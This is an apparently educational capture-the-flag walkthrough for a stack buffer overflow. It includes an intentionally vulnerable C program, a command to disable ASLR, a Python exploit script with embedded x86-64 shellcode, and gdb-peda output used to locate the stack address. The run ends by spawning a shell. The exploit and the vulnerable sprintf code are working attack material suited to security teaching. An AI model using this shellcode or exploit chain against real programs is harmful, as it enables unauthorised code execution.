Memory Corruption Exploit3

In all three challenges you are going to exploit memory corruption vulnerabilities in the program mmchallenge.

If not yet done in Step 1, download the following ZIP file to your Hacking Lab Live CD, extract, and type make:

challenge

If not yet done in Step 1, make sure you disable ASLR by entering the following line (after every reboot):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This is the code of the binary with the vulnerabilities we are going to exploit:

mmchallenge.c:

#include <stdio.h>
#include <stdlib.h>
#include <crypt.h>
#include <string.h>

const char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx.";

int checkPassword(char *password) {
    char *hash;
    hash = crypt(password, "$6$saaaaalty");

    if (strcmp(hash, adminHash) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void flag1(void) {
        char buf[512];
        FILE *fp;
        printf("You are admin!\n");
        fp = fopen("flag1.txt", "r");
        fgets(buf, 511, (FILE *) fp);
        printf("Flag1: %s\n", buf);
        fclose(fp);
}
void flag2(void) {
        char buf[512];
        FILE *fp;
        printf("You are superadmin!\n");
        fp = fopen("flag2.txt", "r");
        fgets(buf, 511, (FILE *) fp);
        printf("Flag2: %s\n", buf);
        fclose(fp);
}
/* void flag3(void) {
   ...
   fp = fopen("flag3.txt", "r");
   ...
}*/

void handleUser(void) {
        printf("You are NOT admin.\n");
}

void handleData(char *password) {
    int isAdmin = 0;
    char msg[128];

    isAdmin = checkPassword(password);
    sprintf(msg, "Password: %s", password);

    printf("IsAdmin: 0x%lx\n", isAdmin);

    if(isAdmin) {
        flag1();
    } else {
        handleUser();
        printf("%s\n", msg);
    }
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Call: %s <password>\n", argv[0]);
        exit(0);
    }
    handleData(argv[1]);
}

Flag 3: Overflow SIP to shellcode

helper script:

#!/usr/bin/python

import struct
import sys

if len(sys.argv) != 3:
        print("mmexploit <offset> <ret_addr>")
        sys.exit(0)

# offset to RIP (how many bytes)
offset = int(sys.argv[1])

# Address of shellcode
# The argument is a string: Convert it to int
# Then, convert the int to little endian 64 bit value
ret_addr = struct.pack('<Q', int(sys.argv[2], 16))

shellcode = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xe2\x87\x8c\xc4\x15\x59\xce\xd8\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x88\xbc\xd4\x5d\x5d\xe2\xe1\xba\x8b\xe9\xa3\xb7\x7d\x59\x9d\x90\x6b\x60\xe4\xe9\x76\x59\xce\x90\x6b\x61\xde\x2c\x1d\x59\xce\xd8\xcd\xe5\xe5\xaa\x3a\x2a\xa6\xd8\xb4\xd0\xc4\x4d\xf3\x56\xcb\xd8"

buf_size = 128

exploit = "\x90" * (buf_size - len(shellcode))
exploit += shellcode

# garbage between buffer and RET
exploit += "A" * (offset - len(exploit))

# add ret address
exploit += ret_addr

# print to stdout
sys.stdout.write(exploit)

It takes two arguments:

  • The offset to SIP
  • The address of the shellcode

Lets start it with an offset of 128 bytes, and the address of the shellcode is 0xAAAABBBBCCCCDDDD:

# ./mmexploit.py 128 0xAAAABBBBCCCCDDDD | hexdump -C
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000020  90 90 90 90 90 90 90 90  90 48 31 c9 48 81 e9 fa  |.........H1.H...|
00000030  ff ff ff 48 8d 05 ef ff  ff ff 48 bb e2 87 8c c4  |...H......H.....|
00000040  15 59 ce d8 48 31 58 27  48 2d f8 ff ff ff e2 f4  |.Y..H1X'H-......|
00000050  88 bc d4 5d 5d e2 e1 ba  8b e9 a3 b7 7d 59 9d 90  |...]].......}Y..|
00000060  6b 60 e4 e9 76 59 ce 90  6b 61 de 2c 1d 59 ce d8  |k`..vY..ka.,.Y..|
00000070  cd e5 e5 aa 3a 2a a6 d8  b4 d0 c4 4d f3 56 cb d8  |....:*.....M.V..|
00000080  dd dd cc cc bb bb aa aa                           |........|
00000088

The layout is: NOPS(…) | SHELLCODE | AAAA(…) | 0xAAAABBBBCCCCDDDD

Where NOPS(…) and (AAA…) are variable length, to put SHELLCODE and the return address SIP 0xAAAABBBBCCCCDDDD at the correct location (offset). The script also performs the conversion to little endian of the address of the shellcode. You can see this at the last line, offset 0x80 = 128. The script already contains a shellcode.

The last piece of the puzzle is to find out the address of the shellcode in the process memory.

gdb-peda$ r python -c 'print "A"*142+"BBBB"'
Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallenge python -c 'print "A"*142+"BBBB"'
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xf
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x405480 ("\nlag1: flag-1\n\n4141\n")
RDI: 0x7ffff7f70670 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe3b0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fb ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge")
RIP: 0x42424242 ('BBBB')
R8 : 0xffffffff
R9 : 0xf
R10: 0x4040a0 --> 0xa312d67616c66 ('flag-1\n')
R11: 0x246
R12: 0x4010c0 (<_start>:  xor    ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3b0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fb ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge")
0008| 0x7fffffffe3b8 --> 0x200000000
0016| 0x7fffffffe3c0 --> 0x401400 (<__libc_csu_init>:  push   r15)
0024| 0x7fffffffe3c8 --> 0x7ffff7dd5cca (<__libc_start_main+234>:  mov    edi,eax)
0032| 0x7fffffffe3d0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fb ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge")
0040| 0x7fffffffe3d8 --> 0x200000000
0048| 0x7fffffffe3e0 --> 0x401399 (<main>: push   rbp)
0056| 0x7fffffffe3e8 --> 0x7ffff7dd57d9 (<init_cacheinfo+297>: mov    rbp,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000042424242 in ?? ()
gdb-peda$ x/32x $rsp
0x7fffffffe3b0: 0x00007fffffffe4b8  0x0000000200000000
0x7fffffffe3c0: 0x0000000000401400  0x00007ffff7dd5cca
0x7fffffffe3d0: 0x00007fffffffe4b8  0x0000000200000000
0x7fffffffe3e0: 0x0000000000401399  0x00007ffff7dd57d9
0x7fffffffe3f0: 0x0000000000000000  0x6029d8ea055252a4
0x7fffffffe400: 0x00000000004010c0  0x0000000000000000
0x7fffffffe410: 0x0000000000000000  0x0000000000000000
0x7fffffffe420: 0x9fd62795eaf252a4  0x9fd637d0945452a4
0x7fffffffe430: 0x0000000000000000  0x0000000000000000
0x7fffffffe440: 0x0000000000000000  0x0000000000000002
0x7fffffffe450: 0x00007fffffffe4b8  0x00007fffffffe4d0
0x7fffffffe460: 0x00007ffff7ffe180  0x0000000000000000
0x7fffffffe470: 0x0000000000000000  0x00000000004010c0
0x7fffffffe480: 0x00007fffffffe4b0  0x0000000000000000
0x7fffffffe490: 0x0000000000000000  0x00000000004010ea
0x7fffffffe4a0: 0x00007fffffffe4a8  0x000000000000001c
gdb-peda$
0x7fffffffe4b0: 0x0000000000000002  0x00007fffffffe6fb
0x7fffffffe4c0: 0x00007fffffffe73b  0x0000000000000000
0x7fffffffe4d0: 0x00007fffffffe7ce  0x00007fffffffe7de
0x7fffffffe4e0: 0x00007fffffffe7f0  0x00007fffffffe804
0x7fffffffe4f0: 0x00007fffffffe812  0x00007fffffffe83f
0x7fffffffe500: 0x00007fffffffe850  0x00007fffffffe888
0x7fffffffe510: 0x00007fffffffe895  0x00007fffffffe8a4
0x7fffffffe520: 0x00007fffffffe8c8  0x00007fffffffe8d1
0x7fffffffe530: 0x00007fffffffe8dc  0x00007fffffffe8ec
0x7fffffffe540: 0x00007fffffffeedb  0x00007fffffffeee7
0x7fffffffe550: 0x00007fffffffeef8  0x00007fffffffef0c
0x7fffffffe560: 0x00007fffffffef16  0x00007fffffffef23
0x7fffffffe570: 0x00007fffffffef2b  0x00007fffffffef82
0x7fffffffe580: 0x00007fffffffef90  0x00007fffffffefa4
0x7fffffffe590: 0x0000000000000000  0x0000000000000021
0x7fffffffe5a0: 0x00007ffff7fd0000  0x0000000000000010
gdb-peda$
0x7fffffffe5b0: 0x00000000178bfbff  0x0000000000000006
0x7fffffffe5c0: 0x0000000000001000  0x0000000000000011
0x7fffffffe5d0: 0x0000000000000064  0x0000000000000003
0x7fffffffe5e0: 0x0000000000400040  0x0000000000000004
0x7fffffffe5f0: 0x0000000000000038  0x0000000000000005
0x7fffffffe600: 0x000000000000000b  0x0000000000000007
0x7fffffffe610: 0x00007ffff7fd2000  0x0000000000000008
0x7fffffffe620: 0x0000000000000000  0x0000000000000009
0x7fffffffe630: 0x00000000004010c0  0x000000000000000b
0x7fffffffe640: 0x0000000000000000  0x000000000000000c
0x7fffffffe650: 0x0000000000000000  0x000000000000000d
0x7fffffffe660: 0x0000000000000000  0x000000000000000e
0x7fffffffe670: 0x0000000000000000  0x0000000000000017
0x7fffffffe680: 0x0000000000000000  0x0000000000000019
0x7fffffffe690: 0x00007fffffffe6d9  0x000000000000001a
0x7fffffffe6a0: 0x0000000000000000  0x000000000000001f
gdb-peda$
0x7fffffffe6b0: 0x00007fffffffefb8  0x000000000000000f
0x7fffffffe6c0: 0x00007fffffffe6e9  0x0000000000000000
0x7fffffffe6d0: 0x0000000000000000  0x1ede15c6da38d900
0x7fffffffe6e0: 0x523014ec3516a957  0x0034365f36387829
0x7fffffffe6f0: 0x0000000000000000  0x656d6f682f000000
0x7fffffffe700: 0x2f72656b6361682f  0x726574696b6f6f79
0x7fffffffe710: 0x656c6c6168632d6d  0x6c69662d7365676e
0x7fffffffe720: 0x6c6c6168632f7365  0x6d2f303165676e65
0x7fffffffe730: 0x6e656c6c6168636d  0x4141414141006567
0x7fffffffe740: 0x4141414141414141  0x4141414141414141
0x7fffffffe750: 0x4141414141414141  0x4141414141414141
0x7fffffffe760: 0x4141414141414141  0x4141414141414141
0x7fffffffe770: 0x4141414141414141  0x4141414141414141
0x7fffffffe780: 0x4141414141414141  0x4141414141414141
0x7fffffffe790: 0x4141414141414141  0x4141414141414141
0x7fffffffe7a0: 0x4141414141414141  0x4141414141414141

Seems 0x7fffffffe740 is a good address. lets use it:

gdb-peda$ r ./mmexploit.py.orig 142 0x7fffffffe750
Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallenge ./mmexploit.py.orig 142 0x7fffffffe750
/bin/bash: warning: command substitution: ignored null byte in input
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

process 214785 is executing new program: /usr/bin/dash
[Attaching after process 214785 fork to child process 214787]
[New inferior 2 (process 214787)]
[Detaching after fork from parent process 214785]
[Inferior 1 (process 214785) detached]
process 214787 is executing new program: /usr/bin/dash
#

While the output looks broken, the shell did spawn successfully.

Lets do it without GDB:

# ./mmchallenge ./mmexploit.py.orig 142 0x7fffffffe740
bash: warning: command substitution: ignored null byte in input
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

#

The shell did also spawn!

Use shell

You can find flag 3 in the file flag3.txt.

Use your SIP overwrite to execute the shellcode and spawn a shell. Use this shell to access the flag stored in flag3.txt